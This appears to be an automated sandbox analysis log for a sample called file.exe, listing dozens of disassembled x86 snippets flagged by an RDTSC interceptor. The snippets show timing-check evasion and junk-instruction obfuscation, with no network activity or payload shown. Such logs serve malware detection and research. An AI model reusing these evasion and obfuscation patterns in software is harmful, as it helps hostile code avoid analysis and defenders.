Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C8FB second address: 80C96F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a xor bh, FFFFFF90h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007EFF30CD38F8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007EFF30CD38F8h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 jng 00007EFF30CD38F8h 0x0000004b mov bl, E2h 0x0000004d jmp 00007EFF30CD3904h 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C96F second address: 80C975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C975 second address: 80C97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C97A second address: 80C999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFF30E2BC52h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C999 second address: 80C9B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFF30CD3908h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA7B second address: 80DA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80CBFC second address: 80CC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80CC00 second address: 80CC1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EAF0 second address: 80EAF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EAF4 second address: 80EAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EAFA second address: 80EAFF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80FA19 second address: 80FA95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D224Ah], ecx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007EFF30E2BC48h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f jmp 00007EFF30E2BC56h 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D3C1Dh], ebx 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push edx 0x00000040 jmp 00007EFF30E2BC58h 0x00000045 pop edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80FA95 second address: 80FA9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007EFF30CD38F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811978 second address: 81197E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81197E second address: 811982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C580A second address: 7C5854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007EFF30E2BC48h 0x0000000b push edi 0x0000000c pop edi 0x0000000d jc 00007EFF30E2BC48h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 pushad 0x00000017 jbe 00007EFF30E2BC48h 0x0000001d push edi 0x0000001e pop edi 0x0000001f push ebx 0x00000020 jmp 00007EFF30E2BC4Fh 0x00000025 pop ebx 0x00000026 pushad 0x00000027 jmp 00007EFF30E2BC57h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816188 second address: 8161AB instructions: 0x00000000 rdtsc 0x00000002 js 00007EFF30CD3915h 0x00000008 jmp 00007EFF30CD3909h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81325E second address: 813279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813279 second address: 81327E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81327E second address: 813317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bh, 7Eh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 jmp 00007EFF30E2BC59h 0x00000018 mov ebx, dword ptr [ebp+122D17F2h] 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007EFF30E2BC48h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f mov eax, dword ptr [ebp+122D09FDh] 0x00000045 jmp 00007EFF30E2BC59h 0x0000004a push FFFFFFFFh 0x0000004c jmp 00007EFF30E2BC55h 0x00000051 nop 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813317 second address: 81331B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81331B second address: 813321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8177C0 second address: 8177C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813321 second address: 813334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFF30E2BC4Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8177C4 second address: 81783E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007EFF30CD38F8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push ecx 0x00000024 sub dword ptr [ebp+122D330Dh], ebx 0x0000002a pop edi 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007EFF30CD38F8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov edi, 1755320Dh 0x0000004c push 00000000h 0x0000004e stc 0x0000004f xchg eax, esi 0x00000050 push ecx 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 js 00007EFF30CD38F6h 0x0000005a popad 0x0000005b pop ecx 0x0000005c push eax 0x0000005d push ecx 0x0000005e pushad 0x0000005f jno 00007EFF30CD38F6h 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8169F4 second address: 816A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007EFF30E2BC51h 0x0000000d jbe 00007EFF30E2BC4Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818827 second address: 81882E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81882E second address: 81889F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007EFF30E2BC48h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 sub dword ptr [ebp+122D2E71h], edi 0x0000002a push 00000000h 0x0000002c jnc 00007EFF30E2BC4Ch 0x00000032 mov edi, dword ptr [ebp+122D2C49h] 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007EFF30E2BC48h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 add ebx, dword ptr [ebp+1243F3DDh] 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edi 0x0000005f pop edi 0x00000060 pop eax 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819898 second address: 8198FB instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFF30CD38F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ebx, dword ptr [ebp+12452F8Ch] 0x00000011 push 00000000h 0x00000013 mov di, E845h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007EFF30CD38F8h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 mov edi, eax 0x00000035 push eax 0x00000036 pushad 0x00000037 jns 00007EFF30CD390Eh 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8198FB second address: 819901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A9B2 second address: 81A9B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A9B6 second address: 81AA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 jmp 00007EFF30E2BC58h 0x0000000e pop ebx 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007EFF30E2BC48h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov bh, ah 0x0000002c and di, 4E0Eh 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007EFF30E2BC48h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d mov dword ptr [ebp+1243E11Eh], ebx 0x00000053 adc ebx, 5C9DA86Ah 0x00000059 push 00000000h 0x0000005b mov ebx, 5DEFBD37h 0x00000060 push eax 0x00000061 push ecx 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F3BF second address: 81F3D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD3901h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD071 second address: 7BD077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD077 second address: 7BD07D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825CD5 second address: 825CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8253FF second address: 825403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825403 second address: 825407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825407 second address: 82540D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82540D second address: 82541A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82541A second address: 82541E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82541E second address: 825441 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Dh 0x00000007 jmp 00007EFF30E2BC52h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825897 second address: 8258A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007EFF30CD38F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8258A5 second address: 8258A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8258A9 second address: 8258C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jnp 00007EFF30CD38F6h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 jnp 00007EFF30CD38F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C72F second address: 82C734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C734 second address: 82C766 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD38FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b jmp 00007EFF30CD3904h 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pushad 0x00000019 popad 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C766 second address: 82C776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFF30E2BC4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C776 second address: 82C7B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD3905h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jp 00007EFF30CD3909h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C865 second address: 82C869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C869 second address: 82C886 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD38FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnl 00007EFF30CD38F8h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C886 second address: 82C89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d pushad 0x0000000e jno 00007EFF30E2BC46h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7372 second address: 7C738C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007EFF30CD38F6h 0x00000009 jo 00007EFF30CD38F6h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007EFF30CD38F6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83401D second address: 83402B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83402B second address: 83404B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007EFF30CD38FEh 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8347AC second address: 8347E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007EFF30E2BC57h 0x0000000a pop edi 0x0000000b jne 00007EFF30E2BC4Ch 0x00000011 jnc 00007EFF30E2BC46h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834938 second address: 834942 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFF30CD3902h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834942 second address: 834956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007EFF30E2BC46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834956 second address: 83495C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83822F second address: 838239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007EFF30E2BC46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DB86 second address: 83DB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DB90 second address: 83DBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007EFF30E2BC4Ah 0x0000000b push esi 0x0000000c pop esi 0x0000000d push esi 0x0000000e pop esi 0x0000000f jng 00007EFF30E2BC4Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DBA7 second address: 83DBC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFF30CD3908h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83CAB9 second address: 83CAC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnp 00007EFF30E2BC4Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D1E7 second address: 83D1ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D1ED second address: 83D1F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D1F1 second address: 83D1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D1F7 second address: 83D200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D200 second address: 83D208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D343 second address: 83D347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D4C4 second address: 83D4C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D4C8 second address: 83D4DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007EFF30E2BC4Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D4DC second address: 83D4E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7198 second address: 7E71A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007EFF30E2BC46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E71A2 second address: 7E71AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E71AC second address: 7E71B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E71B0 second address: 7E71B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E71B6 second address: 7E71C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DA14 second address: 83DA19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C378 second address: 83C38F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFF30E2BC53h 0x00000009 rdtsc
